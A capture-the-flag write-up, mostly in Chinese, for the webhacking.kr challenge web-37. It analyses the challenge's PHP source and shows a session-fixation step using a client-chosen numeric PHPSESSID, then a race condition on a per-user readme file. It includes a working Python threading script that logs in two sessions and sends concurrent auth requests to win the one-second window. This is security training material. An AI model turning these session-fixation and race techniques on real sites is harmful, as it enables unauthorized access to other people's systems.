Challenge
A login-gated page writes and deletes a per-user file around a one-second sleep.
登录后页面围绕 1 秒
sleep写/删一个 per-user 文件。
https://webhacking.kr/challenge/web-37/通过条件是 1 秒的删除窗口内读到 readme/<idx>.txt,题目围绕这两点展开。
Analysis
?view_source=1 返回的完整源码:
<?php include "../../config.php"; if($_GET['view_source']) view_source(); login_chk(); echo "Your idx is {$_SESSION['idx']}<hr>"; if(!is_numeric($_COOKIE['PHPSESSID'])) exit("Access Denied<br><a href=./?view_source=1>view-source</a>"); sleep(1); if($_GET['mode']=="auth"){ echo("Auth~<br>"); $result = file_get_contents("./readme/{$_SESSION['idx']}.txt"); if(preg_match("/{$_SESSION['idx']}/",$result)){ echo("Done!"); unlink("./readme/{$_SESSION['idx']}.txt"); solve(60); exit(); } } $p = fopen("./readme/{$_SESSION['idx']}.txt","w"); fwrite($p,$_SESSION['idx']); fclose($p); if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){ sleep(1); unlink("./readme/{$_SESSION['idx']}.txt"); }?>文件名取 $_SESSION['idx'],同一账号的每个会话都指向同一个 readme/<idx>.txt。mode=auth 分支先读该文件,preg_match 命中就 Done!、unlink、solve(60) 并退出;未命中则继续走下面的写入逻辑:把 idx 写进文件,请求不是来自 127.0.0.1 时再 sleep(1) 后删除。文件在写入与删除之间存活 1 秒,认证请求落在这个窗口内读到文件即可通过。idx 是纯数字,preg_match 里的模式不含正则元字符。
第一道关卡是数字 session。PHP 默认生成的 session id 含字母,is_numeric 不会通过,所以会话 id 必须由客户端指定。登录接口是 POST /login.php?login,body 为 JSON:
POST /login.php?loginContent-Type: application/jsonCookie: PHPSESSID=<numeric-session>
{"id":"<user>","pw":"<password>"}响应 {"stat":true},且不带 Set-Cookie,服务端沿用了请求里的 PHPSESSID。先设一个纯数字 id 再登录,该 id 对应的会话就变成已登录状态(session fixation)。
第二道关卡是竞态。同一个 PHPSESSID 的并发请求被 PHP 的 session 文件锁串行化:并发发出的 ?mode=auth 依次执行,前一个请求已经把自己写入的文件删掉,后一个读到的仍是空文件。同账号的两个数字会话各自持有独立的锁,却共享 readme/<idx>.txt,于是一个会话处在写后删除前的窗口时,另一个会话的 ?mode=auth 能读到文件。未命中的认证请求同样会走到写入逻辑,因此每次请求都在为后续请求制造窗口,全部使用 ?mode=auth 即可,不需要单独的写请求。
Solution
脚本用两个数字 PHPSESSID 分别登录同一账号,再交替向 ?mode=auth 发并发请求:
import http.clientimport jsonimport osimport threading
HOST = "webhacking.kr"PATH = "/challenge/web-37/"SESSIONS = ["111111111", "222222222"]USER = os.environ["WH_USER"]PASS = os.environ["WH_PW"]
def request(session, path=PATH, method="GET", body=None, ctype=None): """带指定 PHPSESSID 发一次请求,返回状态码与响应正文。""" conn = http.client.HTTPSConnection(HOST, timeout=30) headers = { "User-Agent": "Mozilla/5.0", "Connection": "close", "Cookie": f"PHPSESSID={session}", }31 collapsed lines
if ctype: headers["Content-Type"] = ctype conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() return resp.status, resp.read().decode("utf-8", "replace")
def login(session): """用 JSON body 登录,会话 id 由客户端指定,服务端不补发 Set-Cookie。""" body = json.dumps({"id": USER, "pw": PASS}) status, text = request(session, "/login.php?login", "POST", body, "application/json") if json.loads(text).get("stat") is not True: raise SystemExit(f"login failed for {session}: {text}")
hits = []
def worker(index, session, delay): """错峰发出认证请求,命中 Done! 时记录响应。""" threading.Event().wait(delay) status, text = request(session, PATH + "?mode=auth") if "Done!" in text: hits.append((index, session, text))
for session in SESSIONS: login(session) print(session, "idx:", request(session)[1].split("<hr>")[0])
threads = [threading.Thread(target=worker, args=(i, SESSIONS[i % 2], i * 0.4)) for i in range(12)]for thread in threads: thread.start()for thread in threads: thread.join()
for index, session, text in hits: print(index, session, text.replace("\n", " ")[:160])print("hits:", len(hits))两个会话都拿到同一个 idx,文件名确实由账号决定。并发请求命中时,响应在 Auth~ 之后给出 Done!:
Your idx is <idx><hr>Auth~<br>Done!未命中的请求停在 Auth~<br> 后直接返回页面。solve(60) 由服务端直接记分,本题没有需要提交的 flag 字符串。